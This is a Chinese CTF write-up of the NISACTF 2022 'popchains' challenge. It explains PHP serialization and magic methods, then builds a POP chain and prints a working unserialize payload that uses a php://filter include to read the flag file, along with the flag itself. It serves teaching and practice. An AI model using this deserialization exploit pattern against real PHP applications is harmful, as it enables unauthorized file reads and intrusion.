[NISACTF 2022]popchains
[NISACTF 2022]popchains
题目来源:nssctf
题目类型:web
涉及考点:POP链、PHP反序列化
1. 借这道题一起说下反序列化和POP链吧
- 首先认识一下反序列化:
定义:序列化就是将一个对象转换成字符串,反序列化则是将字符串重新恢复成对象
PHP序列化函数:serialize()
PHP反序列化函数:unserialize()
简单举个例子:
- 先是序列化:
<?php
class hello{
public $first = 'hello';
public $second = 'world';
public $third = '!';
}
$a = new hello();
echo serialize($a);
?>
若我们没有对 $a 的属性进行初始化,那么序列化的输出会遵循hello类内已经定义的值
O:5:"hello":3:{s:5:"first";s:5:"hello";s:6:"second";s:5:"world";s:5:"third";s:1:"!";}
解释一下上面这段字符串:
O:表示一个对象,因为我们是对对象$a进行序列化;如果是对数组进行序列化,那么这个位置就是A
5:表示类名长度为5个字符
"hello":类名
3:类中有三个属性
's:5:"first";s:5:"hello";':
这段表示一个属性,后续也一样,这里只对第一个属性进行解释
s:该属性为字符串
5:该属性名长度为5个字符
"first":属性名
s:该属性为字符串
5:该属性值长度为5个字符(注意与属性名长度区分)
"hello":该属性值为"hello"
- 如果对 $a 的属性进行初始化,即有:
<?php
class hello{
public $first = 'hello';
public $second = 'world';
public $third = '!';
}
$a = new hello();
$a->first = 'hey';
echo serialize($a);
?>
则输出为:
O:5:"hello":3:{s:5:"first";s:3:"hey";s:6:"second";s:5:"world";s:5:"third";s:1:"!";}
//可以看到第一个属性已经跟随了$a的定义
- 接着是反序列化
<?php
class hello{
public $first = 'hello';
public $second = 'world';
public $third = '!';
}
$a = new hello();
$a->first = 'hey';
$str = serialize($a);
var_dump(unserialize($str));
?>
//var_dump():用于输出变量的相关信息
输出如下:
object(hello)#2 (3) {
["first"]=>
string(3) "hey"
["second"]=>
string(5) "world"
["third"]=>
string(1) "!"
}
以上是简单认识一下序列化和反序列化,有更多规则这里没有讲述到,等后续做题做到了会进行补充
重点:魔术方法
定义:php规定以两个下划线(__)开头的方法都保留为魔术方法,不需要理解的太复杂,魔术方法就是一些特殊的函数,它们存在一些特定的触发条件。
常见的几个魔术方法:
名称 | 触发时机 |
---|---|
__construct() | 在对象实例化(创建对象)的时候自动触发 |
__destruct() | 在销毁对象的时候自动触发 |
__wakeup() | 执行unserialize()时,先会调用这个函数 |
__sleep() | 执行serialize()时,先会调用这个函数 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__get() | 访问私有或不存在的成员属性的时候自动触发 |
__set() | 对私有成员属性进行设置值时自动触发 |
__isset() | 对私有成员属性进行 isset 进行检查时自动触发 |
__unset() | 对私有成员属性进行 unset 进行检查时自动触发 |
__toString() | 把类当作字符串使用时触发 |
__invoke() | 当尝试将对象调用为函数时触发 |
举个例子:
<?php
// 声明一个简单的类
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
?>
在上述例子中,我们实例化了TestClass
这个类,触发了__construct()
这个魔术方法,而在echo $class
里我们将class
作为字符串使用,触发了__toString()
方法
最后说下POP链
POP链:就是利用魔法方法进行多次跳转后获取敏感数据的一种payload
构造POP链的关键在于找到POP链的起点或终点,再利用魔术方法的触发条件和题目代码结构,将POP链完善
下面直接上题目吧
2. 直接做代码审计
为了尽可能讲的透彻,下面会有较多废话,若想直接查看payload请跳转第三点
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
看if里面,很明显需要GET传入一个wish
,然后对其反序列化,接下来我们直接对POP链进行分析构造:
- 找终点
我们看到Try_Work_Hard
类中的append()
方法内有include()
,想到可以利用php伪协议对数据流进行读取,那么这就作为POP链的末尾。
如何触发append()
方法呢?在__invoke()
里就存在append()
,在Try_Work_Hard
类的对象被当做函数调用时即可触发__invoke()
这里我先对payload进行构造,最后拼接即可:
在终点
append()
内,我们需要令$value=php://filter/convert.base64-encode/resource=/flag
在
append()
前驱,也就是__invoke()
内,我们是对append()
传入了$this->var
,因此对于构造的Try_Work_Hard
类的对象,我们需要构造:
$var=php://filter/convert.base64-encode/resource=/flag
- 往前回溯,我们说需要让
Try_Work_Hard
类的对象被当做函数调用以触发__invoke()
我们发现Make_a_Change
类中,__get()
方法内返回$function()
。因此我们可以令$function
等于一个Try_Work_Hard
类的对象,这样当__get()
方法内返回$function()
时就可以触发__invoke()
。
那么如何触发__get()
方法呢?它在访问私有或不存在的成员属性的时候自动触发,我们看到在Road_is_Long
类的__toString()
方法中,若我们令$this->string = new Make_a_Change()
,那么$this->string->page
就会触发__get()
方法,因为Make_a_Change
类中没有$page
我们对
Make_a_Change
类构造如下:$a = new Make_a_Change(); $a->effort = new Try_Work_Hard();
- 最后很显然,POP链开头就是
Road_is_Long
类
我们刚才说需要这个类的__toString()
方法,它需要把类当作字符串使用时触发。而在其本身有个__wakeup()
方法,里面存在正则匹配,因此我们只需要令page
成为一个Try_Work_Hard
类即可。__wakeup()
方法会在进行反序列化的时候自动触发,我们不用管
这里我们需要两个
Road_is_Long
类的对象,我们对其命名为a和b,a在外层触发__wakeup()
,b作为a的page
,在a中被作为字符使用,从而触发b自身的__toString()
$b = new Road_is_Long(); $b->string = new Make_a_Change(); $a = new Road_is_Long(); $a->page = $b;
3. 我们总结一下上述过程,构造payload
上述过程比较繁琐,难以理解可以自己做个图看看
我们最终获得的POP链如下:
Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append()
构造payload如下:(第二点分段给出的payload还需要修改)
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
$f = new Try_Work_Hard();
$m = new Make_a_Change();
$m->effort = $f;
$b = new Road_is_Long();
$b->string = $m;
$a = new Road_is_Long();
$a->page = $b;
echo urlencode(serialize($a));
?>
我们运行一下,最终传入:
/?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
将得到的base64编码进行解码,得到flag:
NSSCTF{a407c33c-8508-4860-ad10-4858e584a9ea}
日期:2023.8.27
作者:y0Zero